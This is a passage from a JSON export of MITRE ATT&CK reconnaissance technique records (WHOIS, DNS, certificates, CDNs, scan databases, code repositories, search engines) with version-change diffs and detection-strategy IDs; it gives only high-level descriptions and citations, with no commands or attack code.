"url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
},
{
"source_name": "WHOIS",
"description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
"url": "https://who.is/"
},
{
"source_name": "Shodan",
"description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
"url": "https://shodan.io"
},
{
"source_name": "SSLShopper Lookup",
"description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
"url": "https://www.sslshopper.com/ssl-checker.html"
},
{
"source_name": "DigitalShadows CDN",
"description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
"url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.734000+00:00\", \"old_value\": \"2025-04-15 23:04:02.249000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0860: Detection of Search Open Technical Databases"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:59:56.648000+00:00",
"modified": "2025-10-24 17:49:06.210000+00:00",
"name": "CDNs",
"description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/004",
"external_id": "T1596.004"
},
{
"source_name": "DigitalShadows CDN",
"description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.",
"url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.210000+00:00\", \"old_value\": \"2025-04-15 21:55:21.053000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0809: Detection of CDNs"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:57:45.044000+00:00",
"modified": "2025-10-24 17:48:27.172000+00:00",
"name": "DNS/Passive DNS",
"description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/001",
"external_id": "T1596.001"
},
{
"source_name": "Circl Passive DNS",
"description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.",
"url": "https://www.circl.lu/services/passive-dns/"
},
{
"source_name": "DNS Dumpster",
"description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.",
"url": "https://dnsdumpster.com/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.172000+00:00\", \"old_value\": \"2025-04-15 22:14:34.882000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0877: Detection of DNS/Passive DNS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:58:58.738000+00:00",
"modified": "2025-10-24 17:48:21.668000+00:00",
"name": "Digital Certificates",
"description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/003",
"external_id": "T1596.003"
},
{
"source_name": "Medium SSL Cert",
"description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
"url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
},
{
"source_name": "SSLShopper Lookup",
"description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
"url": "https://www.sslshopper.com/ssl-checker.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.668000+00:00\", \"old_value\": \"2025-04-15 22:18:01.430000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0831: Detection of Digital Certificates"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 17:00:44.586000+00:00",
"modified": "2025-10-24 17:49:34.076000+00:00",
"name": "Scan Databases",
"description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/005",
"external_id": "T1596.005"
},
{
"source_name": "Shodan",
"description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
"url": "https://shodan.io"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:34.076000+00:00\", \"old_value\": \"2025-04-15 23:02:32.145000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0858: Detection of Scan Databases"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:56:49.744000+00:00",
"modified": "2025-10-24 17:48:26.629000+00:00",
"name": "WHOIS",
"description": "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1596/002",
"external_id": "T1596.002"
},
{
"source_name": "WHOIS",
"description": "NTT America. (n.d.). Whois Lookup. Retrieved November 17, 2024.",
"url": "https://who.is/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:26.629000+00:00\", \"old_value\": \"2025-04-15 23:20:02.082000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0832: Detection of WHOIS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:48:04.509000+00:00",
"modified": "2025-10-24 17:49:10.188000+00:00",
"name": "Search Open Websites/Domains",
"description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1593",
"external_id": "T1593"
},
{
"source_name": "SecurityTrails Google Hacking",
"description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
"url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
},
{
"source_name": "Cyware Social Media",
"description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.",
"url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e"
},
{
"source_name": "ExploitDB GoogleHacking",
"description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
"url": "https://www.exploit-db.com/google-hacking-database"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.188000+00:00\", \"old_value\": \"2025-04-15 23:04:23.505000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0856: Detection of Search Open Websites/Domains"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2022-08-09 13:01:43.314000+00:00",
"modified": "2025-10-24 17:48:56.790000+00:00",
"name": "Code Repositories",
"description": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1593/003",
"external_id": "T1593.003"
},
{
"source_name": "GitHub Cloud Service Credentials",
"description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.",
"url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Matt Burrough, @mattburrough, Microsoft",
"Vinayak Wadhwa, SAFE Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.790000+00:00\", \"old_value\": \"2025-04-15 22:04:43.188000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1013: Application Developer Guidance",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0805: Detection of Code Repositories"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:50:12.809000+00:00",
"modified": "2025-10-24 17:48:55.709000+00:00",
"name": "Search Engines",
"description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1593/002",
"external_id": "T1593.002"
},
{
"source_name": "SecurityTrails Google Hacking",
"description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.",
"url": "https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"
},
{
"source_name": "ExploitDB GoogleHacking",
"description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.",
"url": "https://www.exploit-db.com/google-hacking-database"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:55.709000+00:00\", \"old_value\": \"2025-04-15 23:03:45.401000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0811: Detection of Search Engines"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-02 16:49:31.262000+00:00",
"modified": "2025-10-24 17:49:18.054000+00:00",
"name": "Social Media",
